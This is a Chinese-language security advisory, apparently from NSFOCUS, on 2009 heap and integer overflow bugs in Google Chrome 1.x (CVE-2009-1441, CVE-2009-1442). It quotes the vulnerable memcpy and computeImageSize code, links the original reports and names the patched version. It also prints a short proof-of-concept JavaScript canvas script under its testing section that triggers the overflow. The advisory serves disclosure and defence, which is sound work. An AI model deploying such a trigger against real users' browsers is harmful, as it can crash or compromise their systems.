安全研究

安全漏洞
Google Chrome多个缓冲区溢出漏洞

发布日期:2009-05-05
更新日期:2009-05-08

受影响系统:
Google Chrome 1.x
不受影响系统:
Google Chrome 1.0.154.64
描述:
BUGTRAQ  ID: 34859
CVE(CAN) ID: CVE-2009-1441,CVE-2009-1442

Google Chrome是Google发布的开源WEB浏览器。

Chrome的bool ParamTraits<SkBitmap>::Read(const Message* m, void** iter, SkBitmap*函数在调用bmp_data->InitSkBitmapFromData(r, variable_data, variable_data_size)时存在堆溢出。|bmp_data|与|variable_data|必须彼此保持一致,但没有执行检查。也就是说:

memcpy(bitmap->getPixels(), pixels, total_pixels);

这里|pixels|和|total_pixels|是受控的数据。

此外skia\sgl\skmask.cpp!SkMask::computeImageSize中存在整数溢出漏洞,导致Chrome没有分配充分的数据内存。以下是有漏洞的代码段:

size_t SkMask::computeImageSize() const
{
    return fBounds.height() * fRowBytes;
}

可见没有检查乘法的结果是否适合size_t。

<*来源:Mark Larson
  
  链接:http://secunia.com/advisories/35014/
        http://code.google.com/p/chromium/issues/detail?id=10736
        http://code.google.com/p/chromium/issues/detail?id=10869
        http://googlechromereleases.blogspot.com/2009/05/stable-update-security-fix.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<SCRIPT>
  oCanvas=document.createElement("CANVAS");
  o2dContext=oCanvas.getContext("2d");
  o2dContext.transform(78,76,-6,0,-10000,9);
  o2dContext.translate(-55,0);
  o2dContext.rotate(1000);
  o2dContext.shadowBlur=1000;
  o2dContext.shadowOffsetX=1;
  o2dContext.clearRect(1,5,48,-21);
</SCRIPT>

建议:
厂商补丁:

Google
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.google.com

浏览次数:2658
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障